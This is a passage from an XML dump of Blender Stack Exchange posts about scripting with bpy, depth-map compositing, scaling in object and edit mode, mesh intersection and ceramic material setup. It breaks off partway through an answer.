LastEditDate="2015-04-16T11:32:57.917" LastActivityDate="2015-04-16T11:32:57.917" Title="Script has no effect but Python console do (Blender 2.72b)" Tags="&lt;python&gt;&lt;scripting&gt;&lt;command-line&gt;" AnswerCount="0" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="28555" PostTypeId="1" AcceptedAnswerId="28570" CreationDate="2015-04-16T10:55:20.323" Score="2" ViewCount="1323" Body="&lt;p&gt;I am trying to get a depth map of my imported model for which I found out &lt;a href=&quot;http://www.cs.tut.fi/kurssit/SGN-5406/vrlab2012/blender-manual.pdf&quot; rel=&quot;nofollow noreferrer&quot;&gt;this&lt;/a&gt; tutorial. So far here is the picture of my work. As you guys can see there is no preview in the backdrop or the nodes of the node editor, I read in a couple of places to render my model to make these preview appear but that didn't work for me too. &lt;img src=&quot;https://i.stack.imgur.com/EMoCW.jpg&quot; alt=&quot;enter image description here&quot;&gt;  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Edit:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The updated image to find the depth map using mist. Mist is checked in the &lt;code&gt;camera&lt;/code&gt; and &lt;code&gt;render layer settings&lt;/code&gt; also.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/qbBcF.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="13802" LastEditorUserId="13802" LastEditDate="2015-04-16T12:24:00.793" LastActivityDate="2015-04-16T18:46:49.837" Title="Composite node/ Viewer node preview not showing" Tags="&lt;nodes&gt;&lt;depth-of-field&gt;" AnswerCount="1" CommentCount="10" ContentLicense="CC BY-SA 3.0" />
  <row Id="28556" PostTypeId="2" ParentId="28432" CreationDate="2015-04-16T11:42:14.790" Score="10" Body="&lt;p&gt;Turns out that inside &lt;code&gt;bpy.app.handlers.render_pre&lt;/code&gt; the context is different.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example &lt;code&gt;bpy.context.screen&lt;/code&gt; is &lt;code&gt;None&lt;/code&gt;, &lt;code&gt;bpy.context&lt;/code&gt; has no attribute &lt;code&gt;active_object&lt;/code&gt; etc. Looks like its very limited when rendering.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What you have access to is &lt;code&gt;bpy.context.window_manager&lt;/code&gt;. So modify your script like this and it should work:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;&#xA;def allBound(scene):&#xA;    for window in bpy.context.window_manager.windows:&#xA;        for area in window.screen.areas: &#xA;            if area.type == 'VIEW_3D':&#xA;                for space in area.spaces:&#xA;                    if space.type == 'VIEW_3D':&#xA;                        space.viewport_shade = 'BOUNDBOX'&#xA;&#xA;bpy.app.handlers.render_pre.append(allBound)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Also this now works on a multi-monitor layout.&lt;/p&gt;&#xA;" OwnerUserId="7777" LastEditorUserId="7777" LastEditDate="2015-04-16T11:50:36.063" LastActivityDate="2015-04-16T11:50:36.063" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="28557" PostTypeId="1" CreationDate="2015-04-16T12:35:44.100" Score="5" ViewCount="2340" Body="&lt;p&gt;To retrieve information about the objects that lie behind each pixel, I have to cast rays into the scene for each pixel of a rendered frame.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My problem is that the ray directions which I calculate are not correct.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The eye rays that I generate do not match my image frame vertically (they either start/end outside of it, or too far inside). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example here is the first direction(top left of the image space) that i calculate&#xA;&lt;img src=&quot;https://i.stack.imgur.com/ZpUVD.png&quot; alt=&quot;Ray for the top left of the image space&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And here is the last direction (bottom right of the image space)&#xA;&lt;img src=&quot;https://i.stack.imgur.com/9AdmN.png&quot; alt=&quot;Ray for the bottom right of the image space&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I think that maybe my calculation of the vertical field of view might be off. But so far I have not been able to fix it. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#calculates the direction the ray has to take for a u, v coordinate&#xA;def get_ray_direction(u, v, position, direction, up, right, width, height):&#xA;    #mapping the u and v coordinates into normalised image coordinates&#xA;    x = ((2*u - width)/width) &#xA;    y = ((2*v - height)/height) &#xA;&#xA;    direction = x * right + y * up + direction + position&#xA;    return direction&#xA;&#xA;s = bpy.data.scenes[&quot;Scene&quot;]    &#xA;cam = s.camera&#xA;camData = cam.data&#xA;&#xA;view_direction = cam.matrix_world.to_quaternion() * Vector((0.0, 0.0, -1.0))&#xA;up = cam.matrix_world.to_quaternion() * Vector((0.0, 1.0, 0.0))&#xA;aspect_ratio = s.render.resolution_x / s.render.resolution_y&#xA;right = mathutils.Vector.cross(view_direction, up)&#xA;&#xA;up = up.normalized()&#xA;right = right.normalized()&#xA;&#xA;#For the FOV I have to use the focal length and sensor size as base values&#xA;#since I will be given these values and have to set the camera accordingly&#xA;#I took the formula from: http://paulbourke.net/miscellaneous/lens/&#xA;fov_v = 2 * math.atan((camData.sensor_height * 0.5) / camData.lens)&#xA;fov_h = 2 * math.atan((camData.sensor_width * 0.5) / camData.lens)&#xA;&#xA;up = up * math.tan(fov_v/2)     &#xA;right = right * math.tan(fov_h/2)&#xA;&#xA;height = s.render.resolution_y/1.0&#xA;width = s.render.resolution_x/1.0&#xA;&#xA;#Starting top left, going row by row &#xA;for i in reversed(range(s.render.resolution_y)):&#xA;    for j in range(s.render.resolution_x):       &#xA;        dir = get_ray_direction(j, i, pos, view_direction, up, right, width, height)&#xA;        ray_dir = dir * 10000&#xA;        ray_result = s.ray_cast(cam.location, ray_dir);       &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.pasteall.org/57866&quot; rel=&quot;noreferrer&quot;&gt;This is the code that I currently have in total, which contains some debugging stuff like empties that are placed at the ray direction&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://flatshaded.com/2012/05/generating-eye-rays/&quot; rel=&quot;noreferrer&quot;&gt;Here is the primary source I used (among others, but I found this one to be most comprehensible) for the generation of eye rays&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="7824" LastActivityDate="2020-05-08T12:04:16.667" Title="Problem with casting rays from the camera into the scene for each pixel" Tags="&lt;python&gt;&lt;scripting&gt;&lt;camera&gt;" AnswerCount="3" CommentCount="0" FavoriteCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="28558" PostTypeId="1" CreationDate="2015-04-16T12:37:30.437" Score="12" ViewCount="37426" Body="&lt;p&gt;My question is: why do Object mode scaling and Edit mode scaling seem to be incompatible?&#xA;I'm quite new to blender, so I may not know sth important about these modes.&#xA;The actual case is: &#xA;I create a cube, which is 2×2×2 metres in metric units by default &#xA;(it's also shown under 'dimensions')&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Pnlb6.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then, with the cube selected, I switch to Edit mode, and enable 'Edge info: Length' under 'Mesh display'&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/wc6JB.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And it shows the cube's measurements, which are 2m on each edge. &#xA;Now I use the scale tool in Edit mode, making the edges 2.244m&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/DRbRW.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That's good so far. Changing back to Object mode, the changes can be seen under 'dimension'&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/OSUU7.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, when I use the scale tool in Object mode, the scale and dimensions also change, but changing back to Edit mode, the measurements shown remain the same&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/OJcI5.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/fA7tB.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So the question is, why does the scale tool work differently and have different effects in Ojbect mode and Edit mode?&#xA;Also, how can I enter the desired size of my cube manually to get an accurate result, without using the scale tool in Edit mode, and without changing the scale ratio in object mode?&lt;/p&gt;&#xA;" OwnerUserId="13805" LastEditorUserId="6204" LastEditDate="2015-04-16T15:29:07.807" LastActivityDate="2015-09-25T16:01:59.943" Title="Scaling in object and edit mode" Tags="&lt;transforms&gt;" AnswerCount="2" CommentCount="3" FavoriteCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="28559" PostTypeId="2" ParentId="28558" CreationDate="2015-04-16T13:17:14.357" Score="13" Body="&lt;p&gt;The object-mode scale is a property of the object; it doesn't actually do anything to the mesh, but rather affects how the mesh is going to fit in the scene.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Scaling in edit mode actually moves the mesh around; it's equivalent to selecting and carefully moving vertices around to make the mesh bigger or smaller.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are many situation where you don't want to touch the object scale (e.g. physics simulations tend to get mucked up).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you &lt;em&gt;have&lt;/em&gt; changed the object scale, but really meant to scale the mesh, you can &quot;apply the scale&quot; (i.e. apply the object's scale to the mesh, and set the object scale to 1) by &lt;kbd&gt;ctrl&lt;/kbd&gt;&lt;kbd&gt;a&lt;/kbd&gt; and select &quot;scale&quot; in the popup menu.&lt;/p&gt;&#xA;" OwnerUserId="822" LastActivityDate="2015-04-16T13:17:14.357" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="28560" PostTypeId="1" AcceptedAnswerId="28564" CreationDate="2015-04-16T14:37:39.127" Score="0" ViewCount="384" Body="&lt;p&gt;Is it possible to select multiple root bones, in multiple armatures, and then translate them simultaneously?&lt;/p&gt;&#xA;" OwnerUserId="3368" LastEditorUserId="2217" LastEditDate="2015-04-16T17:52:25.923" LastActivityDate="2015-04-16T17:52:25.923" Title="Is there a way to move multiple rigged characters simultaneously?" Tags="&lt;objects&gt;&lt;armature&gt;&lt;transforms&gt;&lt;bones&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28561" PostTypeId="2" ParentId="28557" CreationDate="2015-04-16T14:38:08.290" Score="8" Body="&lt;p&gt;&lt;strong&gt;A solution when you render in 3D View&lt;/strong&gt;. Maybe something in here will be handy for you. This comes from transforming mouse coords to 3d so maybe its a bit more general than you need.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Getting camera frame corners in screen space (2d):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;from bpy_extras.view3d_utils import location_3d_to_region_2d&#xA;&#xA;cam = bpy.context.scene.camera&#xA;frame = cam.data.view_frame(bpy.context.scene)&#xA;&#xA;# Its in local space so transform to global&#xA;frame = [cam.matrix_world * corner for corner in frame]&#xA;&#xA;# Transform into screenspace&#xA;region = bpy.context.region&#xA;rv3d = bpy.context.region_data&#xA;frame_px = [location_3d_to_region_2d(region, rv3d, corner) for corner in frame]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Now you know where exactly the camera frame is and how its panned or zoomed etc. Now you can start firing rays from every pixel in that frame like so:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;from bpy_extras.view3d_utils import region_2d_to_origin_3d&#xA;from bpy_extras.view3d_utils import region_2d_to_vector_3d&#xA;&#xA;def 2d_to_ray(context, point_px):&#xA;    region = context.region&#xA;    rv3d = context.region_data&#xA;&#xA;    ray_origin = region_2d_to_origin_3d(region, rv3d, point_px)&#xA;    ray_vector = region_2d_to_vector_3d(region, rv3d, point_px)&#xA;&#xA;    return ray_origin, ray_vector&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Now you have a ray vector with origin all in global space for every pixel of camera frame. Here is also how to intersect such ray with a plane (I am using a parallel plane to camera view located at 3d cursor):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;def ray_intersect_plane(plane_normal, plane_point, ray_vector, ray_origin):&#xA;    '''Does not work in Ortho view'''&#xA;    t = plane_normal.dot(plane_point - ray_origin) / normal.dot(ray_vector)&#xA;    return line_point + t*ray_vector&#xA;&#xA;# This camera location will work also when there is no camera&#xA;# It will work for view-port rendering too&#xA;rv3d = context.region_data&#xA;cam_loc = rv3d.view_matrix.inverted().translation&#xA;cam_look_at = rv3d.view_location&#xA;plane_normal = cam_loc - cam_look_at&#xA;&#xA;location = ray_intersect_plane(plane_normal,&#xA;                               bpy.context.scene.cursor_location,&#xA;                               ray_vector,&#xA;                               ray_origin)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If you want to know the pixel dimensions of current area (where the mouse is) for the view-port rendering you do it like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;regions = bpy.context.area.regions&#xA;&#xA;width = next(region.width for region in regions if region.type=='WINDOW')&#xA;height = next(region.height for region in regions if region.type=='WINDOW')&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;A solution when you render with F12&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Don't transform the camera frame points to 2d space. Use the 3d global frame corners and render resolution to interpolate all the render pixels in 3d space.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From camera location and these 3d pixels get your rays. Else is similar.&lt;/p&gt;&#xA;" OwnerUserId="7777" LastEditorUserId="7777" LastEditDate="2015-04-16T15:35:35.210" LastActivityDate="2015-04-16T15:35:35.210" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28562" PostTypeId="2" ParentId="26003" CreationDate="2015-04-16T14:44:29.443" Score="2" Body="&lt;p&gt;Armatures can be joined together using Ctrl-J. You can also copy keyframes between actions using Key &gt; Copy Keyframes. So you could copy the keyframes from one arm, join it to the other, and paste the keyframes to the other's action.&lt;/p&gt;&#xA;" OwnerUserId="3368" LastActivityDate="2015-04-16T14:44:29.443" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28563" PostTypeId="2" ParentId="27728" CreationDate="2015-04-16T14:48:20.083" Score="2" Body="&lt;p&gt;A set of edges must fulfill some prerequisites to work as an edge loop. To simplify: they all must be connected in a row, part of a surface, and surrounded by quads.&lt;/p&gt;&#xA;" OwnerUserId="3368" LastActivityDate="2015-04-16T14:48:20.083" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28564" PostTypeId="2" ParentId="28560" CreationDate="2015-04-16T14:57:35.540" Score="1" Body="&lt;p&gt;Not without some custom script (custom modal operator etc.).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The workaround is to child_of the root bones with constraints to Empty and move the empty. Then Pose &gt; Apply &gt; Visual Transform to Pose and delete the constraints.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is an addon that lets you setup child_ofs easily or to keyframe them even: &lt;a href=&quot;http://www.pasteall.org/57869/python&quot; rel=&quot;nofollow&quot;&gt;Dynamic parent&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="7777" LastEditorUserId="7777" LastEditDate="2015-04-16T15:03:24.487" LastActivityDate="2015-04-16T15:03:24.487" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28565" PostTypeId="2" ParentId="22985" CreationDate="2015-04-16T14:59:08.043" Score="4" Body="&lt;p&gt;The only way to improve the look here is to increase the low-poly polycount.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The normal map looks ok, but if you will face any problems in the future, you can find a massive amounts of good info here: &lt;a href=&quot;http://wiki.polycount.com/wiki/Normal_map&quot; rel=&quot;nofollow&quot;&gt;http://wiki.polycount.com/wiki/Normal_map&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="3368" LastActivityDate="2015-04-16T14:59:08.043" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="28566" PostTypeId="1" AcceptedAnswerId="32867" CreationDate="2015-04-16T15:21:47.757" Score="2" ViewCount="841" Body="&lt;p&gt;I have recently found a strange behaviour in Blender: sometimes when I delete certain objects in the scene, the JSON exporter becomes unavailable. For example in my actual scene, if I delete a specific plane it becomes unavailable, but not for any other meshes. Impossible to delete that plane. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;However I can delete it with certain other specific objects, at the same time, and the exporter becomes available again. This as well only works with certain objects. Also, when the JSON exporter becomes unavailable, the same always happens for Motion Capture (.pvh) and Stanford (.ply) format export options. I have studied parent and material relationships but I haven't been able to find any logic in that behaviour. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;What am I doing wrong ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;(This is a copy from &lt;a href=&quot;https://stackoverflow.com/questions/29678123/trouble-with-blender-exporter-for-three-js&quot;&gt;this SO question&lt;/a&gt;)&lt;/em&gt;&lt;/p&gt;&#xA;" OwnerUserId="13810" LastEditorUserId="-1" LastEditDate="2017-05-23T12:37:20.630" LastActivityDate="2015-06-23T09:01:14.517" Title="Trouble exporting blend to JSON Format" Tags="&lt;python&gt;&lt;export&gt;" AnswerCount="1" CommentCount="1" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="28567" PostTypeId="1" AcceptedAnswerId="28578" CreationDate="2015-04-16T15:44:40.827" Score="12" ViewCount="3497" Body="&lt;p&gt;I'm trying to imitate the material (and glossiness) of a &lt;strong&gt;ceramic glossy tile&lt;/strong&gt; as shown below:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/m3x3x.jpg&quot; alt=&quot;Tiles Example Large&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/gsQMR.jpg&quot; alt=&quot;Tile Example Closeup&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The following picture is where I have gotten to now, but I'm not satisfied at all with the results.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/TpEkj.png&quot; alt=&quot;Current material preview&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've tried many things in blender cycles, including normal maps, displacement maps, etc. I guess I need some more professional guidance.  &lt;/p&gt;&#xA;" OwnerUserId="13811" LastEditorUserId="6204" LastEditDate="2015-04-16T16:04:43.263" LastActivityDate="2015-04-17T11:29:49.783" Title="Material: imitate a glossy ceramic tile" Tags="&lt;texturing&gt;&lt;materials&gt;" AnswerCount="1" CommentCount="2" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="28568" PostTypeId="1" CreationDate="2015-04-16T17:53:49.917" Score="5" ViewCount="2389" Body="&lt;p&gt;Since I updated to 2.74, sometimes the mouse wheel scrubs the timeline rather than zooming. I guess I've hit some key by mistake, but I haven't been able to find out which one. When this happens, scrolling scrubs the timeline no matter which part of the UI I'm in, i.e. it won't let me scroll up and down in the panels either.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Update: I have several &lt;a href=&quot;https://en.wikipedia.org/wiki/Virtual_desktop&quot; rel=&quot;nofollow&quot;&gt;virtual desktops&lt;/a&gt;, and after posting this, when I went back to the desktop where Blender is, it had reset the mouse function to what I'm used to. Seems strange. Is this a bug that I should report, or is it some feature that I haven't been able to wrap my head around?&lt;/p&gt;&#xA;" OwnerDisplayName="user7952" LastEditorDisplayName="user7952" LastEditDate="2015-04-16T18:13:59.850" LastActivityDate="2015-04-16T18:20:15.187" Title="Scrolling the mouse wheel scrubs the timeline" Tags="&lt;interface&gt;" AnswerCount="1" CommentCount="5" ClosedDate="2015-04-28T21:23:37.697" ContentLicense="CC BY-SA 3.0" />
  <row Id="28569" PostTypeId="2" ParentId="28568" CreationDate="2015-04-16T18:20:15.187" Score="3" Body="&lt;p&gt;In different windows, Alt + scrolling the wheel scrubs the timeline.&#xA;Hope it's an helpful info.&lt;/p&gt;&#xA;" OwnerUserId="13752" LastActivityDate="2015-04-16T18:20:15.187" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="28570" PostTypeId="2" ParentId="28555" CreationDate="2015-04-16T18:46:49.837" Score="1" Body="&lt;p&gt;The Z pass outputs a value, measured in Blender units, from each pixel to the camera: if your object is far more than 1 BlenderUnit, the viewer of this output will be totally white, treating every value bigger than 1.0 as 1.0.&#xA;I think the best way to use the Z output is inserting a &quot;normalize&quot; node, wich will assign 0.0 to the minimum value and 1.0 to the maximum, scaling all others values accordingly.&#xA;You can follow the normalize node with a color ramp, to fine tune the new Z signal.&#xA;In my image the color ramp node is used only as &quot;inverter&quot;, so 0.0 value becomes &quot;white&quot; and means minimum distance from the camera, and 1.0 values gets black (maximum distance from the camera).&#xA;Note that the upper angle of the cube is black.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For a quick udersranding of nodes, use the combination ctrl+shift click on a node to instantly show his output on the viewer.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Er2vZ.png&quot; alt=&quot;useful Z output nodes setup&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="13752" LastActivityDate="2015-04-16T18:46:49.837" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28571" PostTypeId="1" AcceptedAnswerId="69130" CreationDate="2015-04-16T20:49:49.780" Score="3" ViewCount="838" Body="&lt;p&gt;I am making a game with several scenes.  How do I tell blender which scene to start the game in?  (For some reason, it won't start the internal player in the pause or intro scene).&lt;/p&gt;&#xA;" OwnerUserId="12805" LastActivityDate="2016-12-12T21:37:44.577" Title="Game Start Scene" Tags="&lt;game-engine&gt;" AnswerCount="2" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="28572" PostTypeId="1" CreationDate="2015-04-16T21:10:44.390" Score="4" ViewCount="61" Body="&lt;p&gt;I use the Visual Sequence Editor to compile highlights from my aerial drone. After editing the source(s), I want the exported video to have the same dimensions, fps, encoding, and quality as the original(s).  I manually set these at the moment, then save them in a preset for future use.  However sometimes I forget what camera I have used that day and load the wrong preset, this isn't a big problem but it is a waste of time to render the sequence again.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way to automatically set the output parameters to mimic the source video in Blender?&lt;/p&gt;&#xA;" OwnerUserId="13812" LastEditorUserId="13812" LastEditDate="2015-04-23T19:56:29.670" LastActivityDate="2015-05-24T12:40:17.930" Title="Automatically inherit an imported video's encoding" Tags="&lt;video-sequence-editor&gt;" AnswerCount="1" CommentCount="1" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="28573" PostTypeId="1" CreationDate="2015-04-16T21:28:57.460" Score="13" ViewCount="589" Body="&lt;p&gt;I have Blender on my laptop,  into which I sometimes plug an external monitor, and set up some different regions to make my workflow smoother/easier.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I save and close my project, the multiple windows are saved as expected.  However the next time I open Blender, I might not have my second monitor connected, and both windows will be forced onto one display.  &lt;strong&gt;Is there a way to detect if my second monitor is connected when I open a project, and automatically get rid of the extra window when it is not?&lt;/strong&gt;&lt;/p&gt;&#xA;" OwnerUserId="3506" LastEditorUserId="3506" LastEditDate="2016-01-08T17:56:28.170" LastActivityDate="2016-01-08T17:56:28.170" Title="Have second window with different perspective open only when a second monitor is connected?" Tags="&lt;python&gt;&lt;scripting&gt;&lt;interface&gt;&lt;3d-view&gt;&lt;windows&gt;" AnswerCount="1" CommentCount="3" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="28574" PostTypeId="1" AcceptedAnswerId="28577" CreationDate="2015-04-16T21:34:13.697" Score="22" ViewCount="41438" Body="&lt;p&gt;I'm trying to find a simple way to create vertices where two objects intersect and delete the leftover internal planes + then join the meshes so that I have one hollow mesh to sculpt.&lt;/p&gt;&#xA;&lt;p&gt;The reason I need to know this is that on my first sculpt I just joined the meshes, but it didn't create vertices at the intersecting points so when I went to sculpt it just overlapped the meshes as you can see here in the neck.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Slo9W.png&quot; alt=&quot;neck dilema&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;Here is what I am working on now, it needs to be 1 hollow mesh&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/N55Xz.png&quot; alt=&quot;outside&quot; /&gt;&lt;/p&gt;&#xA;" OwnerUserId="13813" LastEditorUserId="78972" LastEditDate="2021-02-18T15:04:39.680" LastActivityDate="2021-02-18T15:04:39.680" Title="How to intersect objects and delete leftover internal planes?" Tags="&lt;modeling&gt;&lt;mesh&gt;&lt;objects&gt;" AnswerCount="2" CommentCount="3" FavoriteCount="15" ContentLicense="CC BY-SA 4.0" />
  <row Id="28577" PostTypeId="2" ParentId="28574" CreationDate="2015-04-16T22:17:40.340" Score="33" Body="&lt;p&gt;Select the objects and hit &lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;J&lt;/kbd&gt; to join them into one object, change to edit mode and select the meshes you want to intersect, hit &lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;F&lt;/kbd&gt; and select &lt;strong&gt;Intersect (Knife)&lt;/strong&gt; from the menu and change to &lt;strong&gt;Self Intersect&lt;/strong&gt; in operator panel.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/o1KOP.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After the operation is done, intersecting edges will be selected and you can mark them as seams &lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;E&lt;/kbd&gt;&gt;Mark Seam, then select internal faces using &lt;kbd&gt;L&lt;/kbd&gt; button when hovering with the mouse cursor over internal faces while in face selection mode.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/w3Gy2.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="12820" LastEditorUserId="52815" LastEditDate="2018-07-24T16:32:15.627" LastActivityDate="2018-07-24T16:32:15.627" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="28578" PostTypeId="2" ParentId="28567" CreationDate="2015-04-16T22:42:52.190" Score="13" Body="&lt;p&gt;To get the best result you should sculpt the highpoly surface, bake the displacement, paint the surface and build a shader. This is a lot of work so when you have a reference texture you can do following in your favorite 2D app:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Remove any lighting from the texture. I used cloning-brush to remove the gloss and dodge-tool to re-light the shadows. You should get diffuse like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/o92JZ.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Paint a displacement map. Go into 32-bit depth as you don't want mini-stairs on your mesh from not enough precision.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/y3hVZ.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Always blur your displacement a bit.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Create a glossy mask:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/KM1iV.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;And finally a detail bump map. This will be only noticeable in close ups so otherwise skip it:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/gKe9G.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Now for the geometry: Simple-subdivide a plane enough-times and apply displacement:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/dQJ4r.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;The ceramic tile itself is matte bumpy colored surface with clear glossy smooth coating on top:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/dedq8.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The Glossy shader takes gloss mask as color through curves to adjust the glossiness intensity. Do it like this and not with the mix shader slider - you want to keep the diffuse part constant in the shader.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Pick a nice HDR environment or setup some area planes around to give the tiles something to reflect. Here's a render with the reference for 